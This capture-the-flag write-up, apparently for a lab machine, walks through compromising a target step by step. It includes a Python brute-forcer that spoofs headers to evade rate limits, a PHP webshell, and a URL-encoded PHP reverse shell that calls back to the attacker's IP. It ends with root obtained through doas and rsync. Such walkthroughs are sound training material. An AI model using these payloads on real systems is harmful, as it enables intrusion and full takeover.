Sustah

1124ae453ee125cf1e64b0661b1ef98b.png

Target IP: 10.10.187.87
Challenge Description:

cbb41af080f50700984d85f97a8fe5e4.png


Reconnaissance

3beead3f914b9e9c05ce912e61f6952c.png
I performed a TCP port scan using the command sudo nmap -sS 10.10.187.87 -p- and obtained the result shown above. There are three TCP ports open on the target machine: SSH, HTTP, and some other application on port 8085, as shown above.

9e2b6acd37474624582de47661efcbdc.png
I performed an aggressive TCP port scan using the command sudo nmap -sV -A 10.10.187.87 -p 22,80,8085 and obtained the result shown above. The target machine seems to be running a web server on port 8085 too. The two web applications on port 80 and 8085 are the most interesting to me; therefore, I will start my enumeration here.

Port 80: HTTP
0f71398b549349056adc41282156dbf3.png
Performing a nikto scan using the command nikto -h http://10.10.187.87 returns the result shown above. Nothing stands out to me.

ea44119531dfffdc2bcce07be4bda830.png
The webpage above is returned to me for this web application on port 80. I viewed the source-code of this webpage but I did not find anything useful either. Time to perform a directory search now. I performed multiple directory search using different wordlists, such as the command gobuster dir -u http://10.10.187.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt, but I had no luck. This web application on port 80 does not stand out to me. Time to check the other web application on port 8085.

Port 8085: HTTP
36be3c390f094ddd9b5343bdc722d3fb.png
I performed a scan against the web application using the command nikto -h http://10.10.187.87:8085 and obtained the result shown above. This web application is different. It seems to be running Gunicorn which is created using Python. I did a Google search for any vulnerabilities and found out this application version is vulnerable to HTTP Request Smuggling. Basically it is a way to interfere with the way the web application processes the sequences of HTTP requests. This can be used to bypass security controls, gain unauthorised access to sensitive data, etc. Time to enumerate this web application.


Enumeration

Port 8085: HTTP
bd798b7fcffc8a1a65efab54fa16ed03.png
The webpage above is displayed for this web application on port 8085. Right away I notice the input box. Is this the game the description of the challenge mentions? I notice I can enter an integer and press the Click button to spin. I am guessing if the input is correct, I will be redirected to the internal CMS; otherwise, I will need to fuzz until I find the correct input. I viewed the source-code of the webpage but I did not find anything useful, including the JavaScript code. Time to fire up Burpsuite and intercept the HTTP requests to check for header requests.

339d1c5f6e5ba7a24346432fdacb78ad.png
I intercepted a request using the Burpsuite and obtained the result shown above. This was displayed to me after I started the proxy and made a request with the input being as 10000. Right away, I notice the input parameter name is number. Also, there are rate limiters in place in the response header in the image above. This will make input fuzzing difficult due to the rate limiters in place. To bypass rate limiters in place, a few different header fields such as X-Remote-IP: 127.0.0.1 can be used. Since this web application requires fuzzing, I will need to write a Python script to input the number field with integers and the modified header fields.

import requests

def make_request(URL="http://10.10.187.87:8085", num=1):
    # Header fields to bypass the rate limiter in place
    headers = {
        "X-Originating-IP": "127.0.0.1",
            "X-Originating-IP": "127.0.0.1",
            "X-Forwarded-For": "127.0.0.1",
            "X-Remote-IP": "127.0.0.1",
            "X-Remote-Addr": "127.0.0.1",
            "X-Client-IP": "127.0.0.1",
            "X-Host": "127.0.0.1",
            "X-Forwarded-Host": "127.0.0.1",
    };
    # Custom input header field to handle the "number" parameter
    return requests.post(URL, data={"number": num} , headers=headers)

def is_valid_response(request):
    result = request.text
    if not "Oh no! How unlucky. Spin the wheel and try again." in result:
        return True
    return False
    
def fuzz():
    for i in range(10000, 99999):
        http_response = make_request(num=i)
        if is_valid_response(http_response):
            print(str(i) + " is the lucky number!")
            exit(0)
    
## Main
target_machine = "http://10.10.187.87:8085"
response = requests.get(target_machine)

if response.status_code == 200:
    fuzz()
else:
    print("Target machine is down")
import requests

def make_request(URL="http://10.10.187.87:8085", num=1):
    # Header fields to bypass the rate limiter in place
    headers = {
        "X-Originating-IP": "127.0.0.1",
            "X-Originating-IP": "127.0.0.1",
            "X-Forwarded-For": "127.0.0.1",
            "X-Remote-IP": "127.0.0.1",
            "X-Remote-Addr": "127.0.0.1",
            "X-Client-IP": "127.0.0.1",
            "X-Host": "127.0.0.1",
            "X-Forwarded-Host": "127.0.0.1",
    };
    # Custom input header field to handle the "number" parameter
    return requests.post(URL, data={"number": num} , headers=headers)

def is_valid_response(request):
    result = request.text
    if not "Oh no! How unlucky. Spin the wheel and try again." in result:
        return True
    return False
    
def fuzz():
    for i in range(10000, 99999):
        http_response = make_request(num=i)
        if is_valid_response(http_response):
            print(str(i) + " is the lucky number!")
            exit(0)
    
## Main
target_machine = "http://10.10.187.87:8085"
response = requests.get(target_machine)

if response.status_code == 200:
    fuzz()
else:
    print("Target machine is down")

I created the Python script shown above. I named this script script.py. In the script above, the make_request method is responsible for making a single request with the custom rate bypass header fields. The is_valid_response makes sure the text Oh no! How unlucky. Spin the wheel and try again. is not included in the response. This is done to filter out the invalid guesses. And finally, these two methods are fed through a loop that runs from 10000 to 99999. When the valid number is found, the loop is exit.

bf81598ed8c535b22a83d0d9cf5c6852.png
After running the script, I obtained the result shown above. The number 10921 seems to be the correct input number.

5d56f6c19fac03498096321c4ed8bcd6.png
After feeding in the correct number, the webpage above was shown to me. Now I have the hidden directory with the name /YouGotTh3P@th. Time to visit this directory.

Port 80: HTTP
d1bbb9b5e463ab866bab1359203a24af.png
I visited http://10.10.187.87/YouGotTh3P@th/ and the webpage shown above was returned to me. The target machine seems to be running Mara CMS on this hidden directory. What version is this CMS? Is this application vulnerable? Time to find out. I notice I can access the Site Map.

eccdb5722edd29ae4693d18b8440d2a6.png
When checking the Site Map, I noticed the About page. This page contains the version of the CMS, as shown above. But this is the production release version. The web application could be updated at a later stage, so the version running on the target machine could be incorrect to the one shown above. Time to perform a directory search.

fddc350e09e314399c29e20e4443c5e5.png
I performed a directory search using the command gobuster dir -u http://10.10.187.87/YouGotTh3P@th/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt and obtained the result shown above. There are some interesting directories such as /changes.txt, log, and blog. Time to browse to these directories.

56f46707ec7f64c88680739b73b29747.png
And bingo! The target machine seems to be running Mara CMS 7.5, as shown above. The changes.txt contains the version of the hidden CMS. And doing a Google search for Mara CMS 7.5 exploits shows it is vulnerable to Remote Command Execution. However, it requires authentication. Time to find the login portal and the username & password.

8b4c6cf2bf64c29874fc32faaa9a3af0.png
Browsing to http://10.10.187.87/YouGotTh3P@th/logs/ returned me the webpage shown above. It contains all the changes made to the website.

7f153cefbfb8ca0d9133e28e6bf43db0.png
I checked the first log at http://10.10.187.87/YouGotTh3P@th/logs/ and obtained the information shown above. Did the user admin make changes to the lorem.php webpage in preview mode?


Exploitation

Owning the Web Application via File Upload Attack
a76889bf00cdbca4df69e9ef46a6fbda.png
I browsed to http://10.10.187.87/YouGotTh3P@th/lorem.php and the webpage above was returned to me. Right away, I notice the default credentials admin:changeme. Has the administrator not changed the default credentials of the CMS? Can I login using as the user admin with the password changeme? Time to find out.

e498f1a9576b3876b9fb0bf282427792.png
And bingo. The administrator has not changed the default credentials of the CMS. I managed to successfully login using the credentials admin:changeme. Now I have administrator privileges on the CMS. I didn't change the password; therefore, I left it to be as changeme.

0f8dcf5c18e7a7351d24bd8befae08ac.png
Now I can edit the webpage, as shown above. Time to find a working exploit now.

5a2b92db5fee4f596ddfd4bebdc911cc.png
I managed to find the exploit above at Exploit DB. However, the exploit is not verified. I found another great website on how to exploit this vulnerability here. Both websites mention it is possible to upload a PHP webshell and access it.

Exploitation: Uploading the PHP Webshell

<?php
    echo system($_GET['cmd']);
?>
<?php
    echo system($_GET['cmd']);
?>

I created the simple PHP webshell shown above. I saved it to a file called shell.php.

adf33b07bc841bc32c16946749e130c0.png
I browsed to http://10.10.187.87/YouGotTh3P@th/codebase/dir.php?type=filenew to upload the webshell, as shown above. I chose my shell.php from my machine to upload it to the target machine.

7a7a9fd1066991098b5cb9ac2e098de8.png
After pressing the Start Upload, I obtained the output shown above. My PHP webshell was successfully uploaded at http://10.10.187.87/YouGotTh3P@th/img/shell.php. Time to access it :)

b4d686a074a28fddec1698f6f5d8dadd.png
And bingo! Now I can access my PHP webshell at http://10.10.187.87/YouGotTh3P@th/img/shell.php. I issued the commands ls;whoami;id and obtained the output above. I can perform RCE using my webshell. Time to obtain a reverse shell connection from the target machine and obtain a foothold on the target machine. Since the web application uses PHP, I can use a PHP reverse shell script.

Foothold: Obtaining a Reverse Shell Connection from the Target Machine
77dd82d934bc2a69db5bd82f672241b6.png
Now I have a foothold on the target machine as the user www-data, as shown above. I started a listener on my machine at port 8443. Then I deployed the URL-encoded PHP reverse shell code php%20-r%20%27%24sock%3Dfsockopen%28%2210.14.55.153%22%2C8443%29%3Bexec%28%22%2Fbin%2Fsh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 using my PHP webshell. The full URL with the encoded PHP reverse shell is 10.10.187.87/YouGotTh3P@th/img/shell.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%2210.14.55.153%22%2C8443%29%3Bexec%28%22%2Fbin%2Fsh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27. Then I upgraded my shell to a Python interactive shell using the command python3 -c 'import pty; pty.spawn("/bin/bash");'.


Privilege Escalation

Horizontal Privilege Escalation: WWW-Data to Kiran
fba4c40b5f92fcaeb49ee857dd631614.png
I notice there is a user called kiran on the target machine. When checking through the system files at /var/backups, I came across a backup file with the name .bak.passwd as shown above. I find it strange I can access this file as the user www-data.

23e38ae1f05c7eb9dee9f22be15120e9.png
Running cat .bak.passwd returns the information shown above. This backup password file seems to contain the password trythispasswordforuserkiran of the user kiran. If this user has not changed their password since, I can login as this user with this password.

bf385ad030e1bb91e79f15d1f97660ca.png
And bingo. I used the command su kiran to switch to this new user. Then I entered the password trythispasswordforuserkiran and gained access to this new user account, as shown above.

Vertical Privilege Escalation: Kiran to Root
b8ee15bfdc7e2501bd6d78209346a8dc.png
I noticed running sudo -l does not return anything. After many manual enumeration, I transferred linpeas to the target machine and executed it. Then I obtained the result shown above. The binary doas is similar to sudo. It can be executed to execute something with elevated privileges. This binary will have a configuration file that contains the entries with rules.

63a1f6073c12eaea4d219d7b15dbc5be.png
I ran the command whereis doas.conf first to find the configuration file. Then I noticed it is located at /usr/local/etc/doas.conf. This configuration file has the entry permit nopass kiran as root cmd rsync. By the looks of it, the user kiran can execute rsync commands as root without password. Obtaining a root shell is simple now.

f3f68a3f09184c7c03cf4c2ac6005734.png
To spawn a root shell, I execute the command doas -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1 as shown above. And bingo. Now I have a root shell on the target machine. I now have full privileges over the target machine :)


Flags

3ae6d7578fa051cc3c63288d083e4fe2.png
The two flags, root and user, are shown above. GG.